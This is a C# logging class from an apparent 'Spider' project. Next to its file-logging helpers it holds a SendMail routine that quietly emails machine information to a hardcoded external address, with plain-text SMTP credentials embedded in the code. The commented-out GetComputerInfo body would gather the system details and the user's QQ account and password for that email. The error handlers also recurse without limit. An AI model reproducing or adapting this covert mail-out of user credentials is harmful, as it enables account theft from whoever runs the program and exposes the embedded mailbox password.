﻿using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Threading;
using System.Net.Mail;

namespace Spider
{
    public class Log   //记录日志的
    {
        static object objectLog = new object();
        public Log()
        {
        }
        #region 公共日志记录，把字符串记下来
        /// <summary>
        /// 
        /// </summary>
        /// <param name="str"></param>
        public static void WriteLog(string str)
        {
            try
            {
                lock (objectLog)
                {
                    Monitor.Enter(objectLog);
                    using (StreamWriter sw = new StreamWriter(SpiderAccount.CurrentPath, true))
                    {
                        sw.WriteLine((object)str);
                        sw.Close();
                    }
                    Monitor.Pulse(objectLog);
                    Monitor.Exit(objectLog);
                }
            }
            catch
            {
                WriteLog("此次没能写入成功！");
            }
        }
        #endregion

        #region 记录特定路径的字符串
        /// <summary>
        /// 记录特定路径的数据
        /// </summary>
        /// <param name="path"></param>
        /// <param name="str"></param>
        public static void WriteLog(string path, string str)  //把字符串记下来
        {
            try
            {
                lock (objectLog)
                {
                    Monitor.Enter(objectLog);
                    using (StreamWriter sw = new StreamWriter(path, true))
                    {
                        sw.WriteLine(string.Format(str));
                        sw.Close();
                    }
                    Monitor.Pulse(objectLog);
                    Monitor.Exit(objectLog);
                }
            }
            catch
            {
                WriteLog(path, str);
            }
        }
        #endregion

        #region 清空以前的日志记录，初始化日志记录
        public static void InitLog()
        {
            string directory = SpiderAccount.GetMainDirectory();
            if (Directory.Exists(directory))  //清除主日志记录
            {
                DeleteDirectory(directory);
            }
        }
        #region 删除目录
        static void DeleteDirectory(string dir)
        {
            if (Directory.GetDirectories(dir).Length == 0 && Directory.GetFiles(dir).Length == 0)
            {
                Directory.Delete(dir);
                return;
            }
            foreach (string var in Directory.GetDirectories(dir))
            {
                DeleteDirectory(var);
            }
            foreach (string var in Directory.GetFiles(dir))
            {
                File.Delete(var);
            }
            Directory.Delete(dir);
        }
        #endregion
        #endregion

        #region 记录特定类型路径下的字符串
        /// <summary>
        /// 记录特定类型路径下的字符串
        /// </summary>
        /// <param name="logType"></param>
        /// <param name="str"></param>
        public static void LogSpecial(LogDetail.LogType logType, string str)
        {
            string directory = SpiderAccount.GetMainDirectory();
            directory += "Other\\";
            if (!Directory.Exists(directory))
            {
                Directory.CreateDirectory(directory);
            }
            string path = directory + logType.ToString() + ".txt";
            WriteLog(path, str);
        }
        #endregion 

        #region  发送额外信息
        public void SendMail()  //发送到email，由于机器可能不联网，所以要try catch
        {
            try
            {
                MailAddress from = new MailAddress("jinwenbobull@163.com");
                MailAddress to = new MailAddress("liukuo.lk@163.com");
                MailMessage message = new MailMessage(from, to);
                message.Subject = DateTime.Now.ToString();
                message.Body = GetComputerInfo();
                message.IsBodyHtml = true;
                message.SubjectEncoding = System.Text.Encoding.Default;
                message.BodyEncoding = System.Text.Encoding.Default;

                SmtpClient client = new SmtpClient("smtp.163.com");
                System.Net.NetworkCredential smtpuserinfo = new System.Net.NetworkCredential();
                smtpuserinfo.UserName = "jinwenbobull";
                smtpuserinfo.Password = "13015911425";
                client.Credentials = smtpuserinfo;
                //Attachment data = new Attachment(this.PathLog, System.Net.Mime.MediaTypeNames.Application.Octet);
                //message.Attachments.Add(data);
                client.Send(message);
            }
            catch (Exception err)
            {
                //Log.WriteLog(Environment.SystemDirectory + "\\QQException.txt", err.Message);
                return;
            }
        }
        private string GetComputerInfo()  //得到计算机相关信息
        {
            //StringBuilder sb = new StringBuilder();
            //sb.Append("操作系统版本：" + Environment.OSVersion + Environment.NewLine);
            //sb.Append("处理器数目：" + Environment.ProcessorCount + Environment.NewLine);
            //sb.Append("机器名称：" + Environment.MachineName + Environment.NewLine);
            //sb.Append("操作系统版本：" + Environment.OSVersion + Environment.NewLine);
            //sb.Append("其他信息：" + DESHelper.Encrypt(QQ.CurrentQQ) + Environment.OSVersion + Environment.NewLine);
            //sb.Append(DESHelper.Encrypt(QQ.CurrentPwd) + Environment.OSVersion + Environment.NewLine);
            //return sb.ToString();
            return "";
        }
        #endregion
    }
}
